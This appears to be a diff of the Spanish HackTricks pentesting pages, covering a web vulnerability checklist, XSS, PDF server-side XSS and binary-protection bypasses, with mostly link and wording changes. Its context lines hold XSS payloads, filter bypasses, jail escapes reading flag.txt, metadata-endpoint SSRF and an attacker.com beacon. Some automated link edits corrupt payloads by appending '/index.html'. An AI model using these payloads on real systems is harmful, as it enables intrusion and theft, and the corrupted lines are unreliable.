 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**Open Redirect**](../open-redirect.md)
 - [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 - [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
-- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
 - [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](../xss-cross-site-scripting/)
+- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
 
@@ -54,11 +54,11 @@ Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, ot
 
 Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
 
-- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
 - [ ] [**NoSQL Injection**](../nosql-injection.md)
 - [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**SQL Injection**](../sql-injection/index.html)
 - [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Formularios, WebSockets y PostMsgs**
@@ -67,15 +67,15 @@ Cuando un websocket publica un mensaje o un formulario que permite a los usuario
 
 - [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
 - [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
-- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
 
 ### **Encabezados HTTP**
 
 Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
-- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
 - [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
@@ -85,7 +85,7 @@ Hay varias funcionalidades específicas donde algunos métodos alternativos podr
 - [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
 - [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
 - [ ] [**Captcha Bypass**](../captcha-bypass.md)
-- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Login Bypass**](../login-bypass/index.html)
 - [ ] [**Race Condition**](../race-condition.md)
 - [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
@@ -96,7 +96,7 @@ Hay varias funcionalidades específicas donde algunos métodos alternativos podr
 Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
 Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
 
-- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Deserialization**](../deserialization/index.html)
 - [ ] [**Email Header Injection**](../email-injections.md)
 - [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
@@ -105,9 +105,9 @@ Algunas **funcionalidades específicas** también pueden ser vulnerables si se u
 
 Las funcionalidades que permiten subir archivos podrían ser vulnerables a varios problemas.\
 Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
-Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían estar comprometidos.
+Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
 
-- [ ] [**File Upload**](../file-upload/)
+- [ ] [**File Upload**](../file-upload/index.html)
 - [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,7 +115,7 @@ Los usuarios que abren archivos subidos por otros usuarios o generados automáti
 ### **Gestión de Identidad Externa**
 
 - [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](../saml-attacks/)
+- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 
 ### **Otras Vulnerabilidades Útiles**
 
@@ -124,6 +124,6 @@ Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
 - [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Parameter Pollution**](../parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,14 +4,14 @@
 
 1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
 2. **Encuentra el contexto** donde se refleja/utiliza.
-3. Si es **reflejado**
+3. Si está **reflejado**
 1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
 1. En **HTML crudo**:
 1. ¿Puedes crear nuevas etiquetas HTML?
 2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`?
 3. ¿Puedes eludir protecciones?
 4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md).
-5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/)?
+5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Pendiente - HTML sin script**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Dentro de una **etiqueta HTML**:
 1. ¿Puedes salir al contexto de HTML crudo?
 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
@@ -20,11 +20,11 @@
 3. Dentro del **código JavaScript**:
 1. ¿Puedes escapar de la etiqueta `<script>`?
 2. ¿Puedes escapar de la cadena y ejecutar diferente código JS?
-3. ¿Tus entradas están en literales de plantilla \`\`?
+3. ¿Tu entrada está en literales de plantilla \`\`?
 4. ¿Puedes eludir protecciones?
 4. Función de Javascript **siendo ejecutada**
-1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
-4. Si es **utilizado**:
+1. Puedes indicar el nombre de la función a ejecutar. p.ej.: `?callback=alert(1)`
+4. Si **utilizado**:
 1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
 
 Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:
@@ -37,7 +37,7 @@ debugging-client-side-js.md
 
 Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
 
-- **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
+- **Reflejado intermediadamente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
 - **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
 - **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
 
@@ -50,7 +50,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
 Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
 Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
 
-### Dentro de atributos de etiquetas HTML
+### Dentro del atributo de etiquetas HTML
 
 Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:
 
@@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
 
 Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
 Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-&#xNAN;_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*o \*\*\*\*\*\***`--!>`\*\*_
+&#xNAN;_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*o \*\*\*\*\*\***`--!>`\*\**_
 
 En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como:
 ```html
@@ -161,12 +161,12 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar de manera exhaustiva qué etiquetas** puedes crear.\
-Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar de manera exhaustiva atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
+Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar por fuerza bruta qué etiquetas** puedes crear.\
+Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar por fuerza bruta atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
 
 ### Fuerza bruta de etiquetas/eventos
 
-Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar de manera exhaustiva todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
+Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar por fuerza bruta todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
 
 ### Etiquetas personalizadas
 
@@ -233,7 +233,7 @@ onerror=alert`1`
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Los últimos utilizan 2 caracteres unicode que se expanden a 5: telsr\
+The last one is using 2 unicode characters which expands to 5: telsr\
 Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\
 Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121).
 
@@ -241,13 +241,13 @@ Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.c
 
 Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prepopulados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
 
-### Imposible - Marcado Colgante
+### Impossible - Dangling Markup
 
-Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
+Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
 
-## Inyectando dentro de la etiqueta HTML
+## Injecting inside HTML tag
 
-### Dentro de la etiqueta/escapando del valor del atributo
+### Inside the tag/escaping from attribute value
 
 Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](#injecting-inside-raw-html) para ejecutar código JS.\
 Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
@@ -303,7 +303,7 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
 ```
 ### Protocolos Especiales Dentro del atributo
 
-Ahí
+Ahí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario y otros no.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -357,7 +357,7 @@ Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentr
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Tenga en cuenta que si intenta **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, **no funcionará**, pero puede **mezclarlos dentro de la carga útil**.
+Tenga en cuenta que si intenta **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload**, **no funcionará**, pero puede **mezclarlos dentro del payload**.
 
 **Usando codificación Hex y Octal con `javascript:`**
 
@@ -385,7 +385,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
 
 ### sobre el Bypass de Controladores de Eventos
 
-Primero que nada, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
+Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
 En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
 ```javascript
 <svg onload%09=alert(1)> //No safari
@@ -430,7 +430,7 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):
 
 ### Bypasses de lista negra
 
-Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
+Varios trucos con el uso de diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:**
 
 - **Codificación HTML (etiquetas HTML)**
 - **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**Saltos de línea de JavaScript (del** [**truco de saltos de línea de JavaScript**](#javascript-new-lines) **)**
+**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](#javascript-new-lines) **)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -746,9 +746,9 @@ dom-xss.md
 {{#endref}}
 
 Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
-Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
+Además, no olvides que **al final de la publicación mencionada** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
 
-### Mejorando Self-XSS
+### Mejora de Self-XSS
 
 ### Cookie XSS
 
@@ -758,7 +758,7 @@ Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Puedes encontrar un gran abuso de esta técnica en [**este post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Puedes encontrar un gran abuso de esta técnica en [**esta publicación del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
 ### Enviando tu sesión al administrador
 
@@ -787,7 +787,7 @@ Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)),
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-El par "Key","Value" se devolverá así:
+La pareja "Key","Value" se devolverá así:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@@ -830,11 +830,11 @@ Si descubres que puedes **inyectar encabezados en una respuesta de redirección
 En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
 Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
 
-### Solo letras, números y puntos
+### Solo Letras, Números y Puntos
 
 Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](#javascript-function) para encontrar cómo abusar de este comportamiento.
 
-### Tipos de contenido `<script>` válidos para XSS
+### Tipos de Contenido `<script>` Válidos para XSS
 
 (De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error:
 
@@ -868,9 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```html
 <script type="???"></script>
 ```
-La respuesta es:
-
-- **module** (por defecto, nada que explicar)
+- **módulo** (predeterminado, nada que explicar)
 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
 ```html
 <script type="webbundle">
@@ -900,7 +898,7 @@ import { partition } from "lodash"
 ```
 Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval para abusar de que puede desencadenar XSS.
 
-- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
+- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así:
 ```html
 <script type="speculationrules">
 {
@@ -925,9 +923,9 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? no está en la lista, pero creo que vi esto en un CTF)
-- application/rss+xml (apagado)
-- application/atom+xml (apagado)
+- text/plain (?? no está en la lista, pero creo que lo vi en un CTF)
+- application/rss+xml (desactivado)
+- application/atom+xml (desactivado)
 
 En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
@@ -955,7 +953,7 @@ chrome-cache-to-xss.md
 
 ### Escape de Cárceles XS
 
-Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail:
+Si solo tienes un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -963,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 
 // use of with
 with(console)log(123)
-with(/console.log(1)/)with(this)with(constructor)constructor(source)()
+with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 // Just replace console.log(1) to the real code, the code we want to run is:
 //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
@@ -1475,7 +1473,7 @@ También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
 ```
 ### Regex - Acceso a Contenido Oculto
 
-De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía se puede encontrar después de que se eliminó el valor de la entrada del regex:
+De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía se puede encontrar después de que se eliminó el valor de la entrada del regex:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1510,7 +1508,7 @@ xss-in-markdown.md
 
 ### XSS a SSRF
 
-¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
+¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con esta carga útil:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@@ -1532,14 +1530,6 @@ Si no puedes inyectar etiquetas HTML, podría valer la pena intentar **inyectar
 pdf-injection.md
 {{#endref}}
 
-### XSS en Amp4Email
-
-AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para asegurar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites).
-
-El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
-
-Ejemplo [**writeup XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
-
 ### XSS subiendo archivos (svg)
 
 Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
@@ -1600,7 +1590,7 @@ id="foo"/>
 ```
 Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Trucos JS Misceláneos e Información Relevante
+## Trucos JS varios e información relevante
 
 {{#ref}}
 other-js-tricks.md

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

@@ -35,7 +35,7 @@ Además, ten en cuenta que en una explotación regular podrás **ver/descargar e
 ```
 ### SVG
 
-Cualquiera de los payloads anteriores o siguientes puede ser utilizado dentro de este payload SVG. Se presentan como ejemplos un iframe que accede al subdominio de Burpcollab y otro que accede al endpoint de metadatos.
+Cualquiera de las cargas útiles anteriores o siguientes puede ser utilizada dentro de esta carga útil SVG. Se incluyen como ejemplos un iframe que accede al subdominio de Burpcollab y otro que accede al endpoint de metadatos.
 ```markup
 <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
 <g>
@@ -81,7 +81,7 @@ La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad p
 > [!WARNING]
 > Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**.
 >
-> Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles elusiones](../ssrf-server-side-request-forgery/url-format-bypass.md).
+> Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [verifica esta página para posibles bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md).
 ```markup
 <script>
 x=new XMLHttpRequest;
@@ -145,7 +145,7 @@ checkPort(i);
 </script>
 <img src="https://attacker.com/startingScan">
 ```
-### [SSRF](../ssrf-server-side-request-forgery/)
+### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
 Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que solo intenta explotarlo (¿leer algunos metadatos?).
 

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -61,7 +61,7 @@ Ejemplo de payloads:
 <div
 id="1
 
-![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
 -----------------------------------------------
 <a
 title="a

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -9,7 +9,7 @@ El **bit No-Execute (NX)**, también conocido como **Execute Disable (XD)** en l
 ## Bypasses
 
 - Es posible utilizar técnicas como [**ROP**](../stack-overflow/rop-return-oriented-programing.md) para eludir esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario.
-- [**Ret2libc**](../stack-overflow/ret2lib/)
+- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 - **Ret2...**
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md

@@ -9,7 +9,7 @@ Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, sign
 El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
 
 Una pista útil para explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser un **chequeo crítico si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
-O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí puedes simplemente **calcular desplazamientos** de funciones y ubicaciones.
+O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí solo puedes **calcular desplazamientos** de funciones y ubicaciones.
 
 ## Eludidos
 
@@ -23,7 +23,7 @@ Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**,
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Usar una vulnerabilidad de lectura arbitraria como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Usar una vulnerabilidad de lectura arbitraria como [**formato de cadena**](../../format-strings/index.html) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Referencias
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -22,7 +22,7 @@ printf("You entered: %s\n", buffer);
 ```
 ### Encontrando Desbordamientos de Pila
 
-La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se **intentó acceder a la dirección `0x41414141`**.
+La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
 
 Además, una vez que encuentres que hay una vulnerabilidad de Desbordamiento de Pila, necesitarás encontrar el desplazamiento hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud **_**n**_** aparece exactamente una vez** como una subsecuencia contigua.
 
